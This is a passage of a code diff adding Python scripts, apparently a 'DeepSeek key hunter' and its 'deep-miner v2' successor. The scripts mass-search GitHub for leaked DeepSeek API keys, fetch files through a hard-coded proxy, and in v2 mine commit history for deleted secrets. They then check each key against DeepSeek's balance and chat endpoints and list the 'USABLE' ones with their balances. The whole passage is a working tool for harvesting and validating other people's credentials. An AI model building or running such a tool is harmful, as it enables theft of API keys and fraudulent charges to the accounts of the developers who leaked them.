with open(EXTRACTED_FILE, "w") as f:
|
||||
for k, src in sorted(keys.items()):
|
||||
f.write(f"{k}|{src}\n")
|
||||
print(f"Loaded {len(keys)} unique DeepSeek keys (written to {EXTRACTED_FILE})")
|
||||
return keys
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--workers", type=int, default=10,
|
||||
help="Concurrent workers (default: 10)")
|
||||
ap.add_argument("--limit", type=int, default=0,
|
||||
help="Only verify first N keys (0 = all)")
|
||||
args = ap.parse_args()
|
||||
|
||||
keys = load_keys()
|
||||
if args.limit > 0:
|
||||
keys = dict(list(keys.items())[:args.limit])
|
||||
print(f" (limited to first {args.limit})")
|
||||
|
||||
if not keys:
|
||||
print("No keys to verify.")
|
||||
return
|
||||
|
||||
print(f"\nDeep verifying {len(keys)} keys against api.deepseek.com (workers={args.workers})...")
|
||||
print("Rule: only 401 = dead; everything else is kept.\n")
|
||||
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
||||
details = []
|
||||
processed = 0
|
||||
start = time.time()
|
||||
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(verify_key, k): (k, src) for k, src in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k, src = futs[fut]
|
||||
processed += 1
|
||||
try:
|
||||
verdict, detail = fut.result()
|
||||
except Exception as e:
|
||||
verdict, detail = "UNKNOWN", str(e)
|
||||
buckets[verdict].append((k, src))
|
||||
details.append(f"{verdict:11s} | {k} | {detail} | src={src}")
|
||||
|
||||
if processed % 25 == 0:
|
||||
el = time.time() - start
|
||||
print(
|
||||
f" [{processed}/{len(keys)}] "
|
||||
f"usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} "
|
||||
f"noacc={len(buckets['NO_ACCESS'])} "
|
||||
f"unk={len(buckets['UNKNOWN'])} "
|
||||
f"dead={len(buckets['DEAD'])} "
|
||||
f"({processed/el:.1f}/s)"
|
||||
)
|
||||
|
||||
elapsed = time.time() - start
|
||||
print(f"\nDone in {elapsed:.1f}s")
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
||||
print(f" {name:11s}: {len(buckets[name])}")
|
||||
|
||||
# Write buckets
|
||||
for name, path in [
|
||||
("USABLE", USABLE_FILE),
|
||||
("NO_BALANCE", NO_BAL_FILE),
|
||||
("NO_ACCESS", NO_ACC_FILE),
|
||||
("UNKNOWN", UNKNOWN_FILE),
|
||||
("DEAD", DEAD_FILE),
|
||||
]:
|
||||
with open(path, "w") as f:
|
||||
for k, src in sorted(buckets[name]):
|
||||
f.write(f"{k}|{src}\n")
|
||||
print(f" written: {path}")
|
||||
|
||||
# Combined non-401
|
||||
with open(NON401_FILE, "w") as f:
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for k, src in sorted(buckets[name]):
|
||||
f.write(f"{name}|{k}|{src}\n")
|
||||
print(f" written: {NON401_FILE}")
|
||||
|
||||
# Show usable
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE keys (with positive balance) ===")
|
||||
for k, src in sorted(buckets["USABLE"]):
|
||||
print(f" {k} {src}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,393 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DeepSeek targeted deep hunter.
|
||||
|
||||
Pipeline:
|
||||
1. Search GitHub for DeepSeek key leaks (sk-<32 hex>) with provider-specific queries.
|
||||
2. Fetch raw files, extract keys matching sk-[a-f0-9]{32}.
|
||||
3. Merge with previously-extracted DeepSeek keys (results/extracted_keys.txt).
|
||||
4. Deep verify:
|
||||
a. GET /user/balance
|
||||
b. POST /v1/chat/completions model=deepseek-chat
|
||||
c. POST /v1/chat/completions model=deepseek-reasoner
|
||||
5. Classification (LO's rule: only HTTP 401 = DEAD).
|
||||
|
||||
Outputs results/deepseek_deep/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
import sys as _sys
|
||||
_sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS_DIR = HERE / "results" / "deepseek_deep"
|
||||
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
|
||||
GLOBAL_EXTRACTED = HERE / "results" / "extracted_keys.txt"
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
BASE = "https://api.deepseek.com"
|
||||
|
||||
# GitHub API/raw are GFW-blocked from this host; route through a CN proxy that can reach it.
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
_gh_opener = None
|
||||
|
||||
def gh_opener():
|
||||
global _gh_opener
|
||||
if _gh_opener is None:
|
||||
if GH_PROXY:
|
||||
handler = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
|
||||
_gh_opener = urllib.request.build_opener(handler)
|
||||
else:
|
||||
_gh_opener = urllib.request.build_opener()
|
||||
return _gh_opener
|
||||
|
||||
KEY_RE = re.compile(r"sk-[a-f0-9]{32}")
|
||||
BLACKLIST = (
|
||||
"00000000000000000000000000000000",
|
||||
"1234567890abcdef1234567890abcdef",
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
|
||||
"your-", "example", "placeholder", "test-key",
|
||||
)
|
||||
|
||||
SEARCH_QUERIES = [
|
||||
'"DEEPSEEK_API_KEY" extension:env',
|
||||
'"DEEPSEEK_API_KEY" extension:py extension:ipynb',
|
||||
'"DEEPSEEK_KEY" extension:env',
|
||||
'"DEEPSEEK_API_KEY" extension:yaml',
|
||||
'"DEEPSEEK_API_KEY" extension:yml',
|
||||
'"DEEPSEEK_API_KEY" extension:json',
|
||||
'"DEEPSEEK_API_KEY" extension:toml',
|
||||
'"DEEPSEEK_API_KEY" extension:ini',
|
||||
'"api.deepseek.com" extension:py',
|
||||
'"api.deepseek.com" extension:js',
|
||||
'"api.deepseek.com" extension:ts',
|
||||
'"api.deepseek.com" extension:go',
|
||||
'"api.deepseek.com/v1/chat/completions"',
|
||||
'"api.deepseek.com" bearer sk-',
|
||||
'"deepseek-chat" Authorization: Bearer sk-',
|
||||
'"deepseek-reasoner" sk-',
|
||||
'"DEEPSEEK_API_KEY" filename:docker-compose',
|
||||
'"deepseek" filename:.env',
|
||||
'"deepseek_api_key" extension:py',
|
||||
'deepseek "sk-" filename:.env',
|
||||
'deepseek "sk-" filename:config.py',
|
||||
'deepseek "sk-" filename:settings.py',
|
||||
'deepseek "sk-" filename:local.settings.json',
|
||||
'"deepseek-chat" filename:.env',
|
||||
'deepseek "base_url" "api.deepseek.com" extension:py',
|
||||
'DEEPSEEK_API_KEY=sk-',
|
||||
'DEEPSEEK_KEY=sk-',
|
||||
'deepseek_api_key=sk-',
|
||||
'DeepSeek_API_KEY=sk-',
|
||||
'deepseekToken=sk-',
|
||||
'"deepseek" "sk-" filename:config.json',
|
||||
'"deepseek" "sk-" filename:config.toml',
|
||||
'"deepseek" "sk-" filename:config.yaml',
|
||||
'"deepseek/v1" filename:.env',
|
||||
]
|
||||
|
||||
|
||||
def github_token():
|
||||
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if tok:
|
||||
return tok
|
||||
try:
|
||||
out = subprocess.run(["gh", "auth", "token"],
|
||||
capture_output=True, text=True, timeout=10)
|
||||
if out.returncode == 0:
|
||||
return out.stdout.strip()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
|
||||
if hosts.exists():
|
||||
for line in hosts.read_text().splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith("oauth_token:"):
|
||||
return line.split(":", 1)[1].strip()
|
||||
return None
|
||||
|
||||
|
||||
def gh_api_search(query, token, per_page=100):
|
||||
headers = {
|
||||
"Accept": "application/vnd.github+json",
|
||||
"User-Agent": "key-hunter",
|
||||
}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
for page in range(1, 11):
|
||||
url = ("https://api.github.com/search/code"
|
||||
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
try:
|
||||
with gh_opener().open(req, timeout=30) as resp:
|
||||
data = json.loads(resp.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403, 429):
|
||||
reset = e.headers.get("X-RateLimit-Reset")
|
||||
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
||||
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
|
||||
time.sleep(wait + 1)
|
||||
continue
|
||||
if e.code == 422:
|
||||
return
|
||||
print(f" HTTP {e.code} for {query!r}: {e.read()[:200]}", file=sys.stderr)
|
||||
return
|
||||
except Exception as e:
|
||||
print(f" network error: {e}", file=sys.stderr)
|
||||
return
|
||||
items = data.get("items", [])
|
||||
if not items:
|
||||
return
|
||||
for it in items:
|
||||
yield it
|
||||
if len(items) < per_page:
|
||||
return
|
||||
time.sleep(2.2 if token else 7)
|
||||
|
||||
|
||||
def to_raw_url(html_url):
|
||||
return html_url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
|
||||
|
||||
def fetch_raw(url):
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
|
||||
try:
|
||||
with gh_opener().open(req, timeout=20) as resp:
|
||||
return resp.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def http_request(method, path, key, body=None, timeout=30):
|
||||
url = f"{BASE}{path}"
|
||||
h = {"User-Agent": UA, "Accept": "*/*", "Authorization": f"Bearer {key}"}
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
h["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=h, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def classify_balance(code, body):
|
||||
if code == 200:
|
||||
try:
|
||||
d = json.loads(body)
|
||||
bal = d.get("balance_infos") or []
|
||||
if bal:
|
||||
total = 0.0
|
||||
for b in bal:
|
||||
try:
|
||||
total += float(b.get("total_balance", 0))
|
||||
except (TypeError, ValueError):
|
||||
pass
|
||||
if total > 0:
|
||||
return "USABLE", f"balance: ¥{total:.4f} {bal[0].get('currency','')}"
|
||||
return "NO_BALANCE", "balance: 0"
|
||||
if d.get("is_available") is True:
|
||||
return "USABLE", "balance: available"
|
||||
if d.get("is_available") is False:
|
||||
return "NO_BALANCE", "balance: unavailable"
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
except json.JSONDecodeError:
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"bal HTTP {code}: {body[:140]}"
|
||||
if code == 401:
|
||||
return "DEAD", "401 unauthorized"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"bal HTTP {code}: {body[:140]}"
|
||||
|
||||
|
||||
def classify_chat(code, body):
|
||||
bl = (body or "").lower()
|
||||
if code == 200:
|
||||
if '"choices"' in bl or '"id"' in bl:
|
||||
return "USABLE", "chat 200 OK"
|
||||
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
|
||||
return "NO_BALANCE", f"chat: {body[:120]}"
|
||||
return "USABLE", f"chat: {body[:120]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"chat HTTP {code}: {body[:140]}"
|
||||
if code == 401:
|
||||
return "DEAD", "chat 401"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"chat HTTP {code}: {body[:140]}"
|
||||
|
||||
|
||||
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
||||
|
||||
|
||||
def verify_key(key):
|
||||
best, best_detail = "DEAD", ""
|
||||
|
||||
code, body = http_request("GET", "/user/balance", key)
|
||||
v, d = classify_balance(code, body)
|
||||
if RANK[v] > RANK[best]:
|
||||
best, best_detail = v, d
|
||||
if best == "USABLE":
|
||||
return best, best_detail
|
||||
|
||||
for model in ("deepseek-chat", "deepseek-reasoner"):
|
||||
code, body = http_request("POST", "/v1/chat/completions", key, body={
|
||||
"model": model,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
})
|
||||
v, d = classify_chat(code, body)
|
||||
d = f"[{model}] {d}"
|
||||
if RANK[v] > RANK[best]:
|
||||
best, best_detail = v, d
|
||||
if best == "USABLE":
|
||||
return best, best_detail
|
||||
|
||||
return best, best_detail
|
||||
|
||||
|
||||
def valid_key(k):
|
||||
if not KEY_RE.fullmatch(k):
|
||||
return False
|
||||
low = k.lower()
|
||||
return not any(b in low for b in BLACKLIST)
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only", action="store_true",
|
||||
help="Skip GitHub search; verify existing extracted_keys.txt")
|
||||
ap.add_argument("--workers", type=int, default=20)
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
ap.add_argument("--no-cache", action="store_true")
|
||||
args = ap.parse_args()
|
||||
|
||||
keys = {}
|
||||
|
||||
# Load previously-extracted DeepSeek keys from the global pool.
|
||||
if GLOBAL_EXTRACTED.exists():
|
||||
for line in GLOBAL_EXTRACTED.read_text().splitlines():
|
||||
if not line.startswith("DeepSeek|"):
|
||||
continue
|
||||
parts = line.split("|", 3)
|
||||
if len(parts) >= 3:
|
||||
k, src = parts[1], parts[2]
|
||||
if valid_key(k):
|
||||
keys[k] = src
|
||||
print(f"loaded {len(keys)} previously-extracted DeepSeek keys")
|
||||
|
||||
if not args.verify_only:
|
||||
token = github_token()
|
||||
print(f"GitHub token: {'yes' if token else 'NO (anonymous = 10 req/min)'}\n")
|
||||
|
||||
print("=== Stage 1: GitHub code search ===")
|
||||
candidates = {}
|
||||
for i, q in enumerate(SEARCH_QUERIES, 1):
|
||||
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}")
|
||||
try:
|
||||
for it in gh_api_search(q, token):
|
||||
u = it.get("html_url", "")
|
||||
if u and u not in candidates:
|
||||
candidates[u] = it.get("repository", {}).get("full_name", "?")
|
||||
except Exception as e:
|
||||
print(f" error: {e}", file=sys.stderr)
|
||||
print(f" candidate files: {len(candidates)}")
|
||||
|
||||
print("\n=== Stage 2: fetch raw & extract keys ===")
|
||||
fetched = 0
|
||||
new_keys = 0
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs = {pool.submit(fetch_raw, to_raw_url(u)): u for u in candidates}
|
||||
for fut in as_completed(futs):
|
||||
u = futs[fut]
|
||||
fetched += 1
|
||||
try:
|
||||
content = fut.result()
|
||||
except Exception:
|
||||
content = ""
|
||||
for k in KEY_RE.findall(content):
|
||||
if valid_key(k) and k not in keys:
|
||||
keys[k] = u
|
||||
new_keys += 1
|
||||
if fetched % 100 == 0:
|
||||
print(f" fetched {fetched}/{len(candidates)}, total keys={len(keys)} (new={new_keys})")
|
||||
print(f" extracted total: {len(keys)} keys ({new_keys} new)")
|
||||
|
||||
with open(EXTRACTED_FILE, "w") as f:
|
||||
for k, src in sorted(keys.items()):
|
||||
f.write(f"{k}|{src}\n")
|
||||
|
||||
if args.limit > 0:
|
||||
keys = dict(list(keys.items())[:args.limit])
|
||||
print(f" (limited to first {args.limit})")
|
||||
|
||||
print(f"\n=== Stage 3: deep verify {len(keys)} keys (workers={args.workers}) ===")
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
||||
processed = 0
|
||||
start = time.time()
|
||||
with CachedVerifier('deepseek', verify_key, force=getattr(args,'no_cache',False)) as ver:
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(ver, k): (k, src) for k, src in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k, src = futs[fut]
|
||||
processed += 1
|
||||
try:
|
||||
v, d = fut.result()
|
||||
except Exception as e:
|
||||
v, d = "UNKNOWN", f"exc: {e}"
|
||||
buckets[v].append((k, src, d))
|
||||
if processed % 50 == 0:
|
||||
el = time.time() - start
|
||||
print(f" [{processed:5d}/{len(keys)}] "
|
||||
f"usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} "
|
||||
f"noacc={len(buckets['NO_ACCESS'])} "
|
||||
f"unk={len(buckets['UNKNOWN'])} "
|
||||
f"dead={len(buckets['DEAD'])} "
|
||||
f"({processed/el:.1f}/s)")
|
||||
|
||||
elapsed = time.time() - start
|
||||
print(f"\nDone in {elapsed:.1f}s")
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
||||
path = RESULTS_DIR / f"{name.lower()}.txt"
|
||||
with open(path, "w") as f:
|
||||
for k, src, d in sorted(buckets[name]):
|
||||
f.write(f"{k}|{src}|{d}\n")
|
||||
print(f" {name:11s}: {len(buckets[name]):5d} -> {path.name}")
|
||||
|
||||
with open(RESULTS_DIR / "all_non_401.txt", "w") as f:
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for k, src, d in sorted(buckets[name]):
|
||||
f.write(f"{name}|{k}|{src}|{d}\n")
|
||||
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE KEYS ===")
|
||||
for k, src, d in sorted(buckets["USABLE"]):
|
||||
print(f" {k}")
|
||||
print(f" src: {src}")
|
||||
print(f" {d}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,475 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DeepSeek deep-miner v2.
|
||||
|
||||
Over v1:
|
||||
- Far broader search queries (more languages, file types, env-var spellings,
|
||||
base_url / openai-compat patterns, k8s/docker/CI, Chinese terms, READMEs).
|
||||
- Optional per-file commit-history scan (Stage 2c) to recover keys deleted in
|
||||
prior commits, bounded per file. Uses the core API (--max-commits).
|
||||
- Incremental candidate/key checkpoints so a killed run resumes.
|
||||
|
||||
Classification: only HTTP 401 => DEAD. Verify order balance -> chat -> reasoner.
|
||||
Outputs results/deepseek_v2/.
|
||||
"""
|
||||
import argparse, json, os, re, subprocess, sys, time
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
from content_cache import ContentCache, parse_raw_url
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS_DIR = HERE / "results" / "deepseek_v2"
|
||||
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
|
||||
CANDIDATES_FILE = RESULTS_DIR / "candidates.txt"
|
||||
GLOBAL_EXTRACTED = HERE / "results" / "extracted_keys.txt"
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
BASE = "https://api.deepseek.com"
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
|
||||
_gh_opener = None
|
||||
def gh_opener():
|
||||
global _gh_opener
|
||||
if _gh_opener is None:
|
||||
if GH_PROXY:
|
||||
h = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
|
||||
_gh_opener = urllib.request.build_opener(h)
|
||||
else:
|
||||
_gh_opener = urllib.request.build_opener()
|
||||
return _gh_opener
|
||||
|
||||
_direct_opener = None
|
||||
def direct_opener():
|
||||
global _direct_opener
|
||||
if _direct_opener is None:
|
||||
_direct_opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
return _direct_opener
|
||||
|
||||
KEY_RE = re.compile(r"sk-[a-f0-9]{32}")
|
||||
BLACKLIST = (
|
||||
"00000000000000000000000000000000","1234567890abcdef1234567890abcdef",
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","your-","example","placeholder","test-key",
|
||||
)
|
||||
|
||||
# Direct (no proxy) for DeepSeek verification; proxy for GitHub.
|
||||
def http_request(method, path, key, body=None, timeout=30):
|
||||
url = f"{BASE}{path}"
|
||||
h = {"User-Agent": UA, "Accept": "*/*", "Authorization": f"Bearer {key}"}
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode(); h["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=h, method=method)
|
||||
try:
|
||||
with direct_opener().open(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8","replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code, e.read().decode("utf-8","replace")
|
||||
except Exception: return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
def classify_balance(code, body):
|
||||
if code == 200:
|
||||
try:
|
||||
d = json.loads(body); bal = d.get("balance_infos") or []
|
||||
if bal:
|
||||
total = 0.0
|
||||
for b in bal:
|
||||
try: total += float(b.get("total_balance",0))
|
||||
except (TypeError,ValueError): pass
|
||||
if total > 0: return "USABLE", f"balance: \u00a5{total:.4f} {bal[0].get('currency','')}"
|
||||
return "NO_BALANCE","balance: 0"
|
||||
if d.get("is_available") is True: return "USABLE","balance: available"
|
||||
if d.get("is_available") is False: return "NO_BALANCE","balance: unavailable"
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
except json.JSONDecodeError:
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
if code in (402,429): return "NO_BALANCE", f"bal HTTP {code}: {body[:140]}"
|
||||
if code == 401: return "DEAD","401 unauthorized"
|
||||
if code == 0: return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"bal HTTP {code}: {body[:140]}"
|
||||
|
||||
def classify_chat(code, body):
|
||||
bl = (body or "").lower()
|
||||
if code == 200:
|
||||
if '"choices"' in bl or '"id"' in bl: return "USABLE","chat 200 OK"
|
||||
if any(x in bl for x in ("balance","quota","arrearage","insufficient")):
|
||||
return "NO_BALANCE", f"chat: {body[:120]}"
|
||||
return "USABLE", f"chat: {body[:120]}"
|
||||
if code in (402,429): return "NO_BALANCE", f"chat HTTP {code}: {body[:140]}"
|
||||
if code == 401: return "DEAD","chat 401"
|
||||
if code == 0: return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"chat HTTP {code}: {body[:140]}"
|
||||
|
||||
RANK = {"USABLE":4,"NO_BALANCE":3,"NO_ACCESS":2,"UNKNOWN":1,"DEAD":0}
|
||||
|
||||
def verify_key(key):
|
||||
best, best_detail = "DEAD", ""
|
||||
code, body = http_request("GET","/user/balance",key)
|
||||
v,d = classify_balance(code,body)
|
||||
if RANK[v] > RANK[best]: best,best_detail = v,d
|
||||
if best == "USABLE": return best,best_detail
|
||||
for model in ("deepseek-chat","deepseek-reasoner"):
|
||||
code,body = http_request("POST","/v1/chat/completions",key,body={
|
||||
"model":model,"messages":[{"role":"user","content":"hi"}],"max_tokens":1})
|
||||
v,d = classify_chat(code,body); d = f"[{model}] {d}"
|
||||
if RANK[v] > RANK[best]: best,best_detail = v,d
|
||||
if best == "USABLE": return best,best_detail
|
||||
return best,best_detail
|
||||
|
||||
def valid_key(k):
|
||||
if not KEY_RE.fullmatch(k): return False
|
||||
low = k.lower()
|
||||
return not any(b in low for b in BLACKLIST)
|
||||
|
||||
SEARCH_QUERIES = [
|
||||
# env-var spellings
|
||||
'"DEEPSEEK_API_KEY" extension:env', '"DEEPSEEK_KEY" extension:env',
|
||||
'"DEEPSEEK_TOKEN" extension:env', '"DEEPSEEK_API_KEY" filename:.env',
|
||||
'"DEEPSEEK_API_KEY" extension:env.example', '"DEEPSEEK_API_KEY" extension:env.local',
|
||||
# config files by extension
|
||||
'"DEEPSEEK_API_KEY" extension:yaml', '"DEEPSEEK_API_KEY" extension:yml',
|
||||
'"DEEPSEEK_API_KEY" extension:json', '"DEEPSEEK_API_KEY" extension:toml',
|
||||
'"DEEPSEEK_API_KEY" extension:ini', '"DEEPSEEK_API_KEY" extension:cfg',
|
||||
'"DEEPSEEK_API_KEY" extension:conf', '"DEEPSEEK_API_KEY" extension:properties',
|
||||
'"DEEPSEEK_API_KEY" extension:env',
|
||||
# more languages
|
||||
'"DEEPSEEK_API_KEY" extension:py', '"DEEPSEEK_API_KEY" extension:ipynb',
|
||||
'"DEEPSEEK_API_KEY" extension:js', '"DEEPSEEK_API_KEY" extension:ts',
|
||||
'"DEEPSEEK_API_KEY" extension:go', '"DEEPSEEK_API_KEY" extension:java',
|
||||
'"DEEPSEEK_API_KEY" extension:kt', '"DEEPSEEK_API_KEY" extension:rb',
|
||||
'"DEEPSEEK_API_KEY" extension:php', '"DEEPSEEK_API_KEY" extension:cs',
|
||||
'"DEEPSEEK_API_KEY" extension:rs', '"DEEPSEEK_API_KEY" extension:swift',
|
||||
'"DEEPSEEK_API_KEY" extension:dart', '"DEEPSEEK_API_KEY" extension:ex',
|
||||
'"DEEPSEEK_API_KEY" extension:exs', '"DEEPSEEK_API_KEY" extension:scala',
|
||||
'"DEEPSEEK_API_KEY" extension:sh',
|
||||
# api.deepseek.com in code
|
||||
'"api.deepseek.com" extension:py', '"api.deepseek.com" extension:js',
|
||||
'"api.deepseek.com" extension:ts', '"api.deepseek.com" extension:go',
|
||||
'"api.deepseek.com" extension:java', '"api.deepseek.com" extension:php',
|
||||
'"api.deepseek.com" extension:rb', '"api.deepseek.com" extension:cs',
|
||||
'"api.deepseek.com" extension:rs', '"api.deepseek.com" extension:json',
|
||||
'"api.deepseek.com" extension:yaml', '"api.deepseek.com" extension:yml',
|
||||
'"api.deepseek.com/v1"', '"api.deepseek.com/v1/chat/completions"',
|
||||
'"api.deepseek.com" bearer sk-', '"https://api.deepseek.com" "sk-"',
|
||||
# model strings with keys
|
||||
'"deepseek-chat" "sk-"', '"deepseek-reasoner" "sk-"',
|
||||
'"deepseek-chat" "api_key"', '"deepseek-reasoner" "api_key"',
|
||||
'"deepseek-chat" Authorization: Bearer sk-',
|
||||
'"deepseek-reasoner" Authorization: Bearer sk-',
|
||||
# direct assignment
|
||||
'DEEPSEEK_API_KEY=sk-', 'DEEPSEEK_KEY=sk-', 'DEEPSEEK_TOKEN=sk-',
|
||||
'deepseek_api_key=sk-', 'DeepSeek_API_KEY=sk-', 'deepseekToken=sk-',
|
||||
'deepseek_api_secret=sk-', 'DEEPSEEK_API_SECRET=sk-',
|
||||
# openai-compat / base_url
|
||||
'"base_url" "api.deepseek.com" extension:py',
|
||||
'"base_url" "https://api.deepseek.com"',
|
||||
'"base_url" "api.deepseek.com" extension:js',
|
||||
'"api.deepseek.com" "OPENAI_API_KEY"',
|
||||
'"api.deepseek.com" filename:.env', 'deepseek "base_url" filename:.env',
|
||||
# config filenames
|
||||
'deepseek "sk-" filename:config.json', 'deepseek "sk-" filename:config.toml',
|
||||
'deepseek "sk-" filename:config.yaml', 'deepseek "sk-" filename:config.yml',
|
||||
'deepseek "sk-" filename:config.py', 'deepseek "sk-" filename:settings.py',
|
||||
'deepseek "sk-" filename:local.settings.json',
|
||||
'deepseek "sk-" filename:application.yml',
|
||||
'deepseek "sk-" filename:application.properties',
|
||||
'deepseek "sk-" filename:secrets.yaml', 'deepseek "sk-" filename:secrets.yml',
|
||||
# docker / k8s / CI
|
||||
'"DEEPSEEK_API_KEY" filename:docker-compose',
|
||||
'"DEEPSEEK_API_KEY" filename:Dockerfile',
|
||||
'"DEEPSEEK_API_KEY" path:.github',
|
||||
'"DEEPSEEK_API_KEY" path:.gitlab',
|
||||
'"DEEPSEEK_API_KEY" filename:.gitlab-ci',
|
||||
'"api.deepseek.com" filename:values.yaml',
|
||||
'"api.deepseek.com" filename:deployment.yaml',
|
||||
'"api.deepseek.com" filename:configmap',
|
||||
# generic .env with deepseek
|
||||
'deepseek "sk-" filename:.env', 'deepseek-chat filename:.env',
|
||||
'deepseek-reasoner filename:.env', '"deepseek/v1" filename:.env',
|
||||
# SDK / client init
|
||||
'DeepSeek(api_key=sk-', 'OpenAI(api_key=sk- "api.deepseek.com"',
|
||||
'deepseek.DeepSeek sk-', 'new DeepSeek sk-',
|
||||
# Chinese terms / docs / README
|
||||
'"deepseek" "sk-" extension:md', '"deepseek" "api_key" extension:md',
|
||||
'deepseek "sk-" filename:README', '"DEEPSEEK_API_KEY" filename:README',
|
||||
'deepseek "\u7834\u89e3" sk-', 'deepseek "\u514d\u8d39" sk-',
|
||||
# proxy/gateway projects that embed upstream keys
|
||||
'"DEEPSEEK_API_KEY" filename:docker-compose.yml',
|
||||
